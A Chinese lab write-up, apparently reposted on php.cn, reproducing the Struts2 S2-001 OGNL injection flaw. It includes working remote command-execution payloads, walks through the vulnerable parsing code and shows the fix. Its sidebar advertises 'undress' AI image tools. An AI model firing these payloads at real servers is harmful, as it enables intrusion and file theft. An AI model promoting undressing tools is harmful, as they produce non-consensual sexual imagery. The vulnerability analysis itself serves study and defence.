目录
Vulhub漏洞系列:struts2漏洞 S2-001
1.漏洞描述:
2.vulhub漏洞利用:
3.搭建环境
4.原理分析
5.漏洞修复
6.OGNL表达式
首页 运维 安全 struts2漏洞 S2-001实例分析

struts2漏洞 S2-001实例分析

May 15, 2023 pm 03:58 PM
struts2

Vulhub漏洞系列:struts2漏洞 S2-001

1.漏洞描述:

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

2.vulhub漏洞利用:

用vulhub复现漏洞可以省去环境的搭建过程,相当方便。

vulhub官网地址:https://vulhub.org

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

启动漏洞环境。

docker-compsoe up -d
登录后复制

输入测试的payload

%{1+1}
登录后复制

struts2漏洞 S2-001实例分析可以看到我们的加法表达式成功执行了。

struts2漏洞 S2-001实例分析

这次我们试一试命令执行,new java.lang.String[ {"cat","/etc/passwd"} 在这里更改我们想要执行的命令。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
登录后复制

struts2漏洞 S2-001实例分析成功的读取到了passwd文件。

struts2漏洞 S2-001实例分析

下面给出三条利用语句:

获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
命令执行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

3.搭建环境

平台:win10

工具:Apache Tomcat 9.0.7,IntelliJ IDEA

下载IntelliJ IDE之后我们选择免费试用一个月,接下来创建我们的项目。

struts2漏洞 S2-001实例分析这个是搭建完成后的效果,下边所有创建添加的jar包或者修改的文件都按照这个格式进行。

struts2漏洞 S2-001实例分析目录结构如下。

struts2漏洞 S2-001实例分析

需要如下几个包,下载地址:

http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip

解压完之后,我们把lib目录下对应的jar包导入到我们在项目中创建的lib目录中。

struts2漏洞 S2-001实例分析

struts2漏洞 S2-001实例分析

接着发布我们导入的jar包,不然会报错。

struts2漏洞 S2-001实例分析

接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list>
</web-app>
登录后复制

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>S2-001</title>
</head>
<body>
<h3>S2-001 Demo</h3>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>
</body>
</html>
登录后复制

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
登录后复制

LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}
登录后复制

src目录下新建struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package>
</struts>
登录后复制

4.原理分析

漏洞部分代码

xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
    Object result = expression;

    while(true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int count = 1;

        while(start != -1 && x < length && count != 0) {
            char c = expression.charAt(x++);
            if (c == &#39;{&#39;) {
                ++count;
            } else if (c == &#39;}&#39;) {
                --count;
            }
        }

        int end = x - 1;
        if (start == -1 || end == -1 || count != 0) {
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
        if (evaluator != null) {
            o = evaluator.evaluate(o);
        }

        String left = expression.substring(0, start);
        String right = expression.substring(end + 1);
        if (o != null) {
            if (TextUtils.stringSet(left)) {
                result = left + o;
            } else {
                result = o;
            }

            if (TextUtils.stringSet(right)) {
                result = result + right;
            }

            expression = left + o + right;
        } else {
            result = left + right;
            expression = left + right;
        }
    }
}
登录后复制

运行我们搭建好的环境,记得开启debug模式

struts2漏洞 S2-001实例分析password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情)

struts2漏洞 S2-001实例分析

expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。struts2漏洞 S2-001实例分析在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666}

struts2漏洞 S2-001实例分析然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。

struts2漏洞 S2-001实例分析

然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。

在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。

struts2漏洞 S2-001实例分析不是OGNL表达式时就会进入

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

5.漏洞修复

判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。

struts2漏洞 S2-001实例分析

也就不会对用户提交的参数进行ongl解析

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}
登录后复制

6.OGNL表达式

这里搬运大佬总结好的东西。

OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。 OGNL 三要素:(以下部分摘抄互联网某处, 我觉得说得好)

1、表达式(Expression)

表达式是整个 OGNL 的核心,所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。我们可以看到,在上面的测试中,name、department.name 等都是表达式,表示取 name 或者 department 中的 name 的值。OGNL 支持很多类型的表达式,之后我们会看到更多。

2、根对象(Root Object)

根对象可以理解为 OGNL 的操作对象。在表达式规定了 “干什么” 以后,你还需要指定到底“对谁干”。在上面的测试代码中,user 就是根对象。这就意味着,我们需要对 user 这个对象去取 name 这个属性的值(对 user 这个对象去设置其中的 department 中的 name 属性值)。

3、上下文环境(Context)

有了表达式和根对象,我们实际上已经可以使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在 OGNL 的内部,所有的操作都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操作 “在哪里干”。
OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。上面我们提到的根对象(Root
Object),事实上也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(Root
Object)的存取操作的表达式是不需要增加 #符号进行区分的。

表达式功能操作清单:
1. 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx2. 对容器变量的访问
对容器变量的访问,通过#符号加上表达式进行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx3. 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。4. 容器、数组、对象
OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
同时,OGNL支持对Map的按键值查找:
例如:#session['mySessionPropKey']
不仅如此,OGNL还支持容器的构造的表达式:
例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建
例如:new Java.net.URL("xxxxxx/")5. 对静态方法或变量的访问
要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):6. 方法调用
直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)7. 投影和选择
OGNL支持类似数据库中的投影(projection) 和选择(selection)。
投影就是选出**中每个元素的相同属性组成新的**,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个**中每个元素的公共属性。
例如:group.userList.{username}将获得某个group中的所有user的name的列表。
选择就是过滤满足selection 条件的**元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
? 选择满足条件的所有元素
^ 选择满足条件的第一个元素
$ 选择满足条件的最后一个元素
例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

以上是struts2漏洞 S2-001实例分析的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
4 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
4 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您听不到任何人,如何修复音频
4 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.聊天命令以及如何使用它们
4 周前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

如何从防护角度看Struts2历史漏洞 如何从防护角度看Struts2历史漏洞 May 13, 2023 pm 05:49 PM

一、前言Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。网上的分析文章主要从攻击利用的角度来分析这些Struts2漏洞。作为新华三攻防团队,我们的一部分工作是维护ips产品的规则库,今天回顾一下这个系

Struts2框架的原理是什么 Struts2框架的原理是什么 Jan 04, 2024 pm 01:55 PM

Struts2框架的原理:1、拦截器解析请求路径;2、查找Action的完整类名;3、创建Action对象;4、执行Action方法;5、返回结果;6、视图解析。它原理基于拦截器的机制,使得业务逻辑控制器与Servlet API完全脱离开,提高了代码的可重用性和可维护性。通过使用反射机制,Struts2框架可以灵活地创建和管理Action对象,实现请求与响应的处理。

struts2漏洞 S2-001实例分析 struts2漏洞 S2-001实例分析 May 15, 2023 pm 03:58 PM

Vulhub漏洞系列:struts2漏洞S2-0011.漏洞描述:struts2漏洞S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。2.vulhub漏洞利用:用vulhub复现漏洞可以省去环境的搭建过程,相当方便。vu

Struts2 S2-059 远程代码执行漏洞复现是怎么样的 Struts2 S2-059 远程代码执行漏洞复现是怎么样的 May 23, 2023 pm 10:37 PM

0x00简介Struts2是Apache软件组织推出的一个相当强大的JavaWeb开源框架,本质上相当于一个servlet。Struts2基于MVC架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级Javaweb应用程序,它利用并延伸了JavaServletAPI,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。0x01漏洞

Struts2-057 两个版本RCE漏洞实例分析 Struts2-057 两个版本RCE漏洞实例分析 May 15, 2023 pm 06:46 PM

前言2018年8月22日,ApacheStrust2发布最新安全公告,ApacheStruts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776),该漏洞由SemmleSecurityResearchteam的安全研究员ManYueMo发现。该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时,namespace值未被设置且在上层动作配置(ActionConfiguration)中未设置或用通配符namespace,可能导致远程代码执行。同理,u

怎么进行Apache Struts2--048远程代码执行漏洞复现 怎么进行Apache Struts2--048远程代码执行漏洞复现 May 12, 2023 pm 07:43 PM

0x00简介Struts2框架是一个用于开发JavaEE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了JavaServletAPI,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。0x01漏洞概述ApacheStruts22.3.x系列启用了struts2-struts1-plugin插件并且存在struts2-showcase目录,其漏洞成因是当ActionMe

Struts2框架站点风险的示例分析 Struts2框架站点风险的示例分析 May 30, 2023 pm 12:32 PM

1.概述Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,后来成为ASF的顶级项目。它通过采用JavaServlet/JSP技术,实现了基于JavaEEWeb应用的Model-View-Controller〔MVC〕设计模式的应用框架〔WebFramework〕,是MVC经典设计模式中的一个经典产品。在JavaEE的Web应用发展的初期,除了使用Servlet技术以外,普遍是在JavaServerPages(JSP)的源代码中,采用HTM

CNNVD关于Apache Struts2 S2-057安全漏洞情况的通报示例分析 CNNVD关于Apache Struts2 S2-057安全漏洞情况的通报示例分析 May 11, 2023 pm 08:04 PM

目前,Apache官方已经发布了版本更新修复了该漏洞。建议用户及时确认ApacheStruts产品版本,如受影响,请及时采取修补措施。一、漏洞介绍ApacheStruts2是美国阿帕奇(Apache)软件基金会下属的Jakarta项目中的一个子项目,是一个基于MVC设计的Web应用框架。2018年8月22日,Apache官方发布了ApacheStruts2S2-057安全漏洞(CNNVD-201808-740、CVE-2018-11776)。当在struts2开发框架中启用泛namespace功

See all articles